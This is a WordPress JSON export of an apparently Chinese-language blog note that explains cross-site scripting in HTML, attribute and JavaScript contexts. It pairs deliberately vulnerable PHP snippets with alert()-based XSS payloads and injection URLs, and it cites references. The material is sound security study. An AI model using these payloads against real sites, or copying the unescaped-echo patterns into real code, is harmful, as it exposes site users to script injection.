{"id":250,"date":"2020-08-09T17:03:03","date_gmt":"2020-08-09T09:03:03","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=250"},"modified":"2024-02-21T19:56:06","modified_gmt":"2024-02-21T11:56:06","slug":"xss-contexts","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/250","title":{"rendered":"XSS contexts"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h3>XSS contexts<\/h3>\n<p>\u5e38\u898b\u7684Cross-site scripting context Breaking<br>\n*XSS between HTML tags<br>\n*XSS in HTML tag attributes<br>\n*XSS into JavaScript<\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>XSS between HTML tags<\/h3>\n<p>HTML Context<br>\nCase: &lt; tag&gt;You searched for $input. &lt; \/tag&gt;<\/p>\n<pre><code>$input example:\n&lt; svg onload=alert()&gt;\n&lt; \/tag&gt;&lt; svg onload=alert()&gt;\n&lt; script&gt;alert(document.domain)&lt; \/script&gt;\n&lt; img src=1 onerror=alert(1)&gt;\n<\/code><\/pre>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/xsswebsite\/xss.php<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>Hello, &lt; ?=$_GET[\u201cname\u201d]?&gt;!<\/code><\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/xsswebsite\/xss.php?name=&lt; svg onload=alert(1)&gt;<\/code><br>\n\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b<br>\n<code>Hello, &lt; svg onload=alert(1)&gt;!<\/code><\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>XSS in HTML tag attributes<\/h3>\n<p>Attribute Context<br>\nCase: &lt; tag attribute=\u201c$input\u201d&gt;<\/p>\n<pre><code>$input example:\n&quot;&gt;&lt; svg onload=alert()&gt;\n&quot;&gt;&lt; svg onload=alert()&gt;&lt; b attr=&quot;\n&quot; onmouseover=alert() &quot;\n&quot;onmouseover=alert()\/\/\n&quot;autofocus\/onfocus=&quot;alert()\n<\/code><\/pre>\n<h4>URL Reflection<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\nhttp:\/\/xsswebsite\/xss.php<br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; form action=\u201d&lt; ?=$_SERVER[\u201cPHP_SELF\u201d]?&gt;\u201d method=\u201dPOST\u201d&gt;<\/code><\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/xsswebsite\/xss.php\/\u201d&gt;&lt; svg onload=alert(1)&gt;<\/code><br>\nps:\n\u4ee5\u4e0a\u53ef\u80fd\u6703\u88abbrowser XSS filtering\u64cb\u4f4f<\/p>\n<p>\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b<br>\n<code>&lt; form action=\u201d\/xss.php\/\u201d&gt;&lt; svg onload=alert(1)&gt;\u201d method=\u201dPOST\u201d&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<h4>Tag Breaking\u5728\u91cd\u5efa\u65b0tag<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/xsswebsite\/xss.php?b1=1<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; input type=&quot;text&quot; name=&quot;b1&quot; value=&quot;&lt; ?=$_GET[\u2018b1\u2019]?&gt;&quot;&gt;<\/code><\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/xsswebsite\/xss.php?b1=&quot;&gt;&lt; svg onload=alert(1)&gt;<\/code><br>\n\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b<br>\n<code>&lt; input type=&quot;text&quot; name=&quot;b1&quot; value=&quot;&quot;&gt;&lt; svg onload=alert(1)&gt;&quot;&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<h4>No Tag Breaking<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/xsswebsite\/xss.php?b3=1<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; input type=&quot;text&quot; name=&quot;b3&quot; value=&quot;&lt; ?=filtertag($_GET[\u201cb3\u201d])?&gt;&quot;&gt;<\/code><br>\n\/\/filtertag() \u6703\u628a &lt; \u548c &gt; \u904e\u6ffe<\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/xsswebsite\/xss.php?b3=\u201d onmouseover=alert(1)\/\/<\/code><\/p>\n<p>\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b\uff0c\u5de6\u908a\u628a\u96d9\u5f15\u865f\u9589\u5408\uff0c\u53f3\u908a\u96d9\u5f15\u865f\u900f\u904e\u96d9\u659c\u7dda\u8b8a\u6210\u8a3b\u89e3\uff0c<br>\n\u7576\u53d7\u5bb3\u8005\u79fb\u5230\u6b64\u8f38\u5165\u6846\u6642\u89f8\u767c\u5f48\u7a97<br>\n<code>&lt; input type=&quot;text&quot; name=&quot;b3&quot; value=&quot;\u201d onmouseover=alert(1)\/\/&quot;&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<hr>\n<h3>XSS into JavaScript<\/h3>\n<p>JavaScript Context<br>\nCase: &lt; script&gt; var new something = \u2018$input\u2019; &lt; \/script&gt;<\/p>\n<pre><code>$input example:\n'-alert()-'\n'-alert()\/\/'\n'}alert(1);{'\n'}%0Aalert(1);%0A{'\n&lt; \/script&gt;&lt; svg onload=alert()&gt;\n<\/code><\/pre>\n<h4>\u9589\u5408\u539f\u672cjs tag<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/xsswebsite\/xss.php?v1=1<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; script&gt;  var v1 = '&lt; ?=$_GET[\u201cv1\u201d]?&gt;';  &lt; \/script&gt;<\/code><\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/xsswebsite\/xss.php?v1=&lt; \/script&gt;&lt; svg onload=alert(1)&gt;<\/code><\/p>\n<p>\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b\uff0c<br>\n<code>&lt; script&gt; var v1 = '&lt; \/script&gt;&lt; svg onload=alert(1)&gt;'; &lt; \/script&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<h4>\u9589\u5408\u55ae\u5f15\u865f\u4e26\u4f7f\u7528-\u7b26\u865f\u9023\u63a5js code<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/brutelogic.com.br\/xss.php?v3=1<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; script&gt;  var v3 = '';  &lt; \/script&gt;<\/code><br>\n\/\/filterjstag() \u6703\u628ajavascript tag\u904e\u6ffe<\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/brutelogic.com.br\/xss.php?v3='-alert(1)-'<\/code><\/p>\n<p>\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b<br>\n<code>&lt; script&gt;  var v3 = ' '-alert(1)-' '; &lt; \/script&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<h4>Escaped Js<\/h4>\n<p>ex:<br>\n\u6b63\u5e38\u7db2\u5740<br>\n<code>http:\/\/brutelogic.com.br\/xss.php?v5=1<\/code><br>\n\u6b63\u5e38\u539f\u78bc<br>\n<code>&lt; script&gt;  var v5 = '&lt; ?=filterjstagv2($_GET[\u201cv5\u201d])?&gt;';  &lt; \/script&gt;<\/code><br>\n\/\/filterjstagv2() \u6703\u628ajavascript tag\u548c\u55ae\u5f15\u865f\u904e\u6ffe<\/p>\n<p>\u6b63\u5e38\u7db2\u5740\u5f8c\u63d2\u5165XSS<br>\n<code>http:\/\/brutelogic.com.br\/xss.php?v5='-alert(1)-\/\/<\/code><\/p>\n<p>\u56e0\u70ba\u539f\u78bc\u6703\u6539\u8b8a\u5982\u4e0b\uff0c\u5de6\u908a\u7528\u53cd\u659c\u7dda\u8df3\u812b\u55ae\u5f15\u865f\uff0c\u53f3\u908a\u7528\u96d9\u659c\u7dda\u5c07\u55ae\u5f15\u865f\u8b8a\u8a3b\u89e3<br>\n<code>&lt; script&gt; var v5 = ''-alert(1)-\/\/'; &lt; \/script&gt;<\/code><\/p>\n<p>\u00a0<\/p>\n<hr>\n<p>\u00a0<\/p>\n<p>refer<br>\nhttps:\/\/github.com\/s0md3v\/AwesomeXSS<br>\nhttps:\/\/portswigger.net\/web-security\/cross-site-scripting\/contexts<br>\nhttps:\/\/www.anquanke.com\/post\/id\/86585<br>\nhttps:\/\/brutelogic.com.br\/blog\/the-7-main-xss-cases-everyone-should-know\/<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[],"class_list":["post-250","post","type-post","status-publish","format-standard","hentry","category-clientside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/250","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=250"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/250\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=250"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=250"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=250"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}